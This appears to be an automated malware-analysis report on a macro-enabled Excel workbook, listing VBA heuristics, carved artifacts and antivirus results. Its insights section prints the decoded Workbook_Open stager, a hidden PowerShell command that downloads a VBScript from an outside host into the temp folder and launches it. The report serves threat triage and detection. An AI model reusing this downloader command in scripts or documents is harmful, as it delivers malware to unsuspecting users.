Malware Insights
The sample is an XLSM file containing VBA macros. The Workbook_Open macro triggers a critical OLE_VBA_SHELL heuristic, indicating the execution of external commands. Specifically, a Base64-decoded shell command stager was identified, which reconstructs to: powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://worldwidetechsecurity.com/Megatron/multistation.vbs',$env:Temp+'\multistation.vbs');(New-Object -com Shell.Application).ShellEx. This command downloads a VBScript from 'http://worldwidetechsecurity.com/Megatron/multistation.vbs' to the temporary directory and then executes it, likely serving as a downloader for a second-stage payload.
Heuristics 8
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Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
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WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usage
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VBA Base64-decoded Shell command stager critical OLE_VBA_BASE64_SHELL_COMMAND_STAGERVBA auto-exec macro decodes Base64 string literals into command or script-launch text and executes the result with Shell. This catches cmd/cscript/PowerShell/VBS launchers hidden from plain keyword matching.
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Workbook_Open macro high OLE_VBA_WBOPENWorkbook_Open macro
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CreateObject call high OLE_VBA_CREATEOBJCreateObject call
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Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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VBA project inside OOXML medium OOXML_VBADocument contains vbaProject.bin — VBA macros present
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/spreadsheetml/2006/main
- http://schemas.openxmlformats.org/officeDocument/2006/relationships
- http://schemas.openxmlformats.org/markup-compatibility/2006
- http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac
- http://schemas.microsoft.com/office/spreadsheetml/2014/revision
- http://schemas.microsoft.com/office/spreadsheetml/2015/revision2
- http://schemas.microsoft.com/office/spreadsheetml/2016/revision3
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.basf181ca9a7b4c6f5f3ecf6516fbba11bbf7d348f1895199597bdc9e46b5364932 |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 3050 bytes |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 shell/COM execution token(s). Carved artifact contains 1 long base64-like blob(s). Carved macro source contains an auto-exec entry point and execution/download terms.
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vbaProject_00.bin9c04dcb525ff751e8bfd090c62037d96a50b1879f8c8a9bbf115f4cb1b6cde61 |
vba-project | OOXML VBA project: xl/vbaProject.bin | 17920 bytes |
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 shell/COM execution token(s). Carved artifact contains 1 long base64-like blob(s). Carved macro source contains an auto-exec entry point and execution/download terms.
|
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